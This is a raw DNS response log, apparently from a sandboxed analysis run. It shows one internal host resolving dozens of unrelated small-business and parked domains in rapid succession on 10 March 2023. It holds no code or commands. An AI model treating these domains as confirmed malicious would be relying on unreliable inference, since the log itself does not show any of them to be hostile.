Mar 10, 2023 07:54:21.997818947 CET	8.8.8.8	192.168.2.6	0xf227	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:21.997818947 CET	8.8.8.8	192.168.2.6	0xf227	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:22.185630083 CET	8.8.8.8	192.168.2.6	0x9a23	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:22.239236116 CET	8.8.8.8	192.168.2.6	0x6c75	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:22.259965897 CET	8.8.8.8	192.168.2.6	0x1aaa	No error (0)	www.findbc.com		13.248.216.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:22.259965897 CET	8.8.8.8	192.168.2.6	0x1aaa	No error (0)	www.findbc.com		76.223.65.111	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:22.269964933 CET	8.8.8.8	192.168.2.6	0xcf8f	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:23.171919107 CET	8.8.8.8	192.168.2.6	0x8438	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:23.767040968 CET	8.8.8.8	192.168.2.6	0x8438	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.055485010 CET	8.8.8.8	192.168.2.6	0xc55b	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.148502111 CET	8.8.8.8	192.168.2.6	0x2870	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.163430929 CET	8.8.8.8	192.168.2.6	0x600	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.176508904 CET	8.8.8.8	192.168.2.6	0x7cbb	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.194852114 CET	8.8.8.8	192.168.2.6	0x7800	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.194852114 CET	8.8.8.8	192.168.2.6	0x7800	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.194886923 CET	8.8.8.8	192.168.2.6	0x422a	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.255197048 CET	8.8.8.8	192.168.2.6	0x65ec	No error (0)	www.netcr.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:28.255197048 CET	8.8.8.8	192.168.2.6	0x65ec	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:28.255197048 CET	8.8.8.8	192.168.2.6	0x65ec	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.255197048 CET	8.8.8.8	192.168.2.6	0x65ec	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.311194897 CET	8.8.8.8	192.168.2.6	0xa85	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:28.311194897 CET	8.8.8.8	192.168.2.6	0xa85	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.606112957 CET	8.8.8.8	192.168.2.6	0x7a81	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:28.606112957 CET	8.8.8.8	192.168.2.6	0x7a81	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:28.606112957 CET	8.8.8.8	192.168.2.6	0x7a81	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.635323048 CET	8.8.8.8	192.168.2.6	0x7e33	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:28.635323048 CET	8.8.8.8	192.168.2.6	0x7e33	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.656008005 CET	8.8.8.8	192.168.2.6	0x40b6	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.803199053 CET	8.8.8.8	192.168.2.6	0x7d66	No error (0)	www.stajum.com		103.3.1.161	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.686427116 CET	8.8.8.8	192.168.2.6	0x9a9a	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.696830988 CET	8.8.8.8	192.168.2.6	0x3ff2	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.698640108 CET	8.8.8.8	192.168.2.6	0x653a	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.777107000 CET	8.8.8.8	192.168.2.6	0x9eea	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:29.777107000 CET	8.8.8.8	192.168.2.6	0x9eea	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.814984083 CET	8.8.8.8	192.168.2.6	0x8030	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:29.814984083 CET	8.8.8.8	192.168.2.6	0x8030	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:29.814984083 CET	8.8.8.8	192.168.2.6	0x8030	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.814984083 CET	8.8.8.8	192.168.2.6	0x8030	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.814984083 CET	8.8.8.8	192.168.2.6	0x8030	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.2	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.814984083 CET	8.8.8.8	192.168.2.6	0x8030	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.981386900 CET	8.8.8.8	192.168.2.6	0x40fa	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:29.981386900 CET	8.8.8.8	192.168.2.6	0x40fa	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:29.981386900 CET	8.8.8.8	192.168.2.6	0x40fa	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:29.981386900 CET	8.8.8.8	192.168.2.6	0x40fa	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:29.981386900 CET	8.8.8.8	192.168.2.6	0x40fa	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:30.702439070 CET	8.8.8.8	192.168.2.6	0x75d4	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:30.962389946 CET	8.8.8.8	192.168.2.6	0xd836	No error (0)	www.myropcb.com		74.208.215.199	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:30.966981888 CET	8.8.8.8	192.168.2.6	0x101e	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:31.131993055 CET	8.8.8.8	192.168.2.6	0xd7b0	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:31.141623020 CET	8.8.8.8	192.168.2.6	0x4f20	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:32.701700926 CET	8.8.8.8	192.168.2.6	0x43dd	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:33.185854912 CET	8.8.8.8	192.168.2.6	0x52b9	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.666435003 CET	8.8.8.8	192.168.2.6	0xb019	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:35.666435003 CET	8.8.8.8	192.168.2.6	0xb019	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.686929941 CET	8.8.8.8	192.168.2.6	0xbbc9	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.713191032 CET	8.8.8.8	192.168.2.6	0xe7ef	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.713191032 CET	8.8.8.8	192.168.2.6	0xe7ef	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.746551991 CET	8.8.8.8	192.168.2.6	0x2693	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:35.746551991 CET	8.8.8.8	192.168.2.6	0x2693	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.746668100 CET	8.8.8.8	192.168.2.6	0xd702	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:35.746668100 CET	8.8.8.8	192.168.2.6	0xd702	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.754143953 CET	8.8.8.8	192.168.2.6	0xd41e	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.758770943 CET	8.8.8.8	192.168.2.6	0x366	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.829361916 CET	8.8.8.8	192.168.2.6	0x1fc4	No error (0)	www.pdqhomes.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:35.829361916 CET	8.8.8.8	192.168.2.6	0x1fc4	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:35.829361916 CET	8.8.8.8	192.168.2.6	0x1fc4	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.829361916 CET	8.8.8.8	192.168.2.6	0x1fc4	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.906739950 CET	8.8.8.8	192.168.2.6	0x67f0	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:35.906739950 CET	8.8.8.8	192.168.2.6	0x67f0	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.941848040 CET	8.8.8.8	192.168.2.6	0xfd4f	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.259669065 CET	8.8.8.8	192.168.2.6	0xf959	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:36.259669065 CET	8.8.8.8	192.168.2.6	0xf959	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.259669065 CET	8.8.8.8	192.168.2.6	0xf959	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.308572054 CET	8.8.8.8	192.168.2.6	0x203e	No error (0)	www.rs-ag.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.308572054 CET	8.8.8.8	192.168.2.6	0x203e	No error (0)	www.rs-ag.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.309503078 CET	8.8.8.8	192.168.2.6	0x7bd1	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:36.309503078 CET	8.8.8.8	192.168.2.6	0x7bd1	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:36.309503078 CET	8.8.8.8	192.168.2.6	0x7bd1	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.412257910 CET	8.8.8.8	192.168.2.6	0xf416	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:36.412257910 CET	8.8.8.8	192.168.2.6	0xf416	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.412257910 CET	8.8.8.8	192.168.2.6	0xf416	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.461509943 CET	8.8.8.8	192.168.2.6	0x56af	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.461509943 CET	8.8.8.8	192.168.2.6	0x56af	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.461509943 CET	8.8.8.8	192.168.2.6	0x56af	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.723586082 CET	8.8.8.8	192.168.2.6	0xa623	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:36.723586082 CET	8.8.8.8	192.168.2.6	0xa623	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.723586082 CET	8.8.8.8	192.168.2.6	0xa623	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.84	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.723586082 CET	8.8.8.8	192.168.2.6	0xa623	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.723586082 CET	8.8.8.8	192.168.2.6	0xa623	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.737943888 CET	8.8.8.8	192.168.2.6	0x534f	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:36.737943888 CET	8.8.8.8	192.168.2.6	0x534f	No error (0)	ghs.googlehosted.com		216.58.215.243	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.360301018 CET	8.8.8.8	192.168.2.6	0xefc2	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.496021986 CET	8.8.8.8	192.168.2.6	0x754	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.543030024 CET	8.8.8.8	192.168.2.6	0x867b	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.545048952 CET	8.8.8.8	192.168.2.6	0xaa73	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.545048952 CET	8.8.8.8	192.168.2.6	0xaa73	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.545048952 CET	8.8.8.8	192.168.2.6	0xaa73	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.554559946 CET	8.8.8.8	192.168.2.6	0xf7e8	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:37.554559946 CET	8.8.8.8	192.168.2.6	0xf7e8	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.556855917 CET	8.8.8.8	192.168.2.6	0xf6d2	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.556855917 CET	8.8.8.8	192.168.2.6	0xf6d2	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.558358908 CET	8.8.8.8	192.168.2.6	0xb814	No error (0)	www.petsfan.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:37.558358908 CET	8.8.8.8	192.168.2.6	0xb814	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:37.558358908 CET	8.8.8.8	192.168.2.6	0xb814	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.558358908 CET	8.8.8.8	192.168.2.6	0xb814	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.576278925 CET	8.8.8.8	192.168.2.6	0x2078	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.583590984 CET	8.8.8.8	192.168.2.6	0xb3c3	No error (0)	www.otena.com		99.83.154.118	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.288358927 CET	8.8.8.8	192.168.2.6	0x16c7	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:38.288358927 CET	8.8.8.8	192.168.2.6	0x16c7	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.300195932 CET	8.8.8.8	192.168.2.6	0x20e4	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:38.300195932 CET	8.8.8.8	192.168.2.6	0x20e4	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.385412931 CET	8.8.8.8	192.168.2.6	0xcbee	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.404725075 CET	8.8.8.8	192.168.2.6	0x6b88	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:38.404725075 CET	8.8.8.8	192.168.2.6	0x6b88	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:38.404725075 CET	8.8.8.8	192.168.2.6	0x6b88	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.489126921 CET	8.8.8.8	192.168.2.6	0x34a4	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:38.489126921 CET	8.8.8.8	192.168.2.6	0x34a4	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:38.489126921 CET	8.8.8.8	192.168.2.6	0x34a4	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.497747898 CET	8.8.8.8	192.168.2.6	0x7a37	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.897763014 CET	8.8.8.8	192.168.2.6	0x3036	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.897763014 CET	8.8.8.8	192.168.2.6	0x3036	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.897763014 CET	8.8.8.8	192.168.2.6	0x3036	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.417213917 CET	8.8.8.8	192.168.2.6	0x3fd6	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.586529970 CET	8.8.8.8	192.168.2.6	0x8801	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.598176956 CET	8.8.8.8	192.168.2.6	0x5835	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:39.598176956 CET	8.8.8.8	192.168.2.6	0x5835	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.602283001 CET	8.8.8.8	192.168.2.6	0x8469	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:39.602283001 CET	8.8.8.8	192.168.2.6	0x8469	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.673624039 CET	8.8.8.8	192.168.2.6	0xfe3c	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.673624039 CET	8.8.8.8	192.168.2.6	0xfe3c	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.674309015 CET	8.8.8.8	192.168.2.6	0x3ce7	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:39.674309015 CET	8.8.8.8	192.168.2.6	0x3ce7	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.747684956 CET	8.8.8.8	192.168.2.6	0x2618	No error (0)	www.wifi4all.nl		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.747684956 CET	8.8.8.8	192.168.2.6	0x2618	No error (0)	www.wifi4all.nl		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.768544912 CET	8.8.8.8	192.168.2.6	0x3785	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.780571938 CET	8.8.8.8	192.168.2.6	0x38a1	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:39.780571938 CET	8.8.8.8	192.168.2.6	0x38a1	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.907140017 CET	8.8.8.8	192.168.2.6	0xa6c7	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.318523884 CET	8.8.8.8	192.168.2.6	0xeec4	No error (0)	www.fcwcvt.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.318523884 CET	8.8.8.8	192.168.2.6	0xeec4	No error (0)	www.fcwcvt.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.331109047 CET	8.8.8.8	192.168.2.6	0x8062	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:40.331109047 CET	8.8.8.8	192.168.2.6	0x8062	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.397186041 CET	8.8.8.8	192.168.2.6	0x4482	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:40.397186041 CET	8.8.8.8	192.168.2.6	0x4482	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.398727894 CET	8.8.8.8	192.168.2.6	0xd008	No error (0)	www.cokocoko.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:40.398727894 CET	8.8.8.8	192.168.2.6	0xd008	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:40.398727894 CET	8.8.8.8	192.168.2.6	0xd008	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.398727894 CET	8.8.8.8	192.168.2.6	0xd008	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.405662060 CET	8.8.8.8	192.168.2.6	0xd67f	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:40.405662060 CET	8.8.8.8	192.168.2.6	0xd67f	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.675048113 CET	8.8.8.8	192.168.2.6	0x62e6	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.675048113 CET	8.8.8.8	192.168.2.6	0x62e6	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.681853056 CET	8.8.8.8	192.168.2.6	0x7d4	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:40.681853056 CET	8.8.8.8	192.168.2.6	0x7d4	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.552136898 CET	8.8.8.8	192.168.2.6	0x941a	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.555032969 CET	8.8.8.8	192.168.2.6	0xda8b	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.555032969 CET	8.8.8.8	192.168.2.6	0xda8b	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.630657911 CET	8.8.8.8	192.168.2.6	0x21fe	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.693586111 CET	8.8.8.8	192.168.2.6	0x9f25	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.754612923 CET	8.8.8.8	192.168.2.6	0x9ba5	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:41.754612923 CET	8.8.8.8	192.168.2.6	0x9ba5	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.868824005 CET	8.8.8.8	192.168.2.6	0x63b0	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.971014023 CET	8.8.8.8	192.168.2.6	0x437a	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.066364050 CET	8.8.8.8	192.168.2.6	0xf14a	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
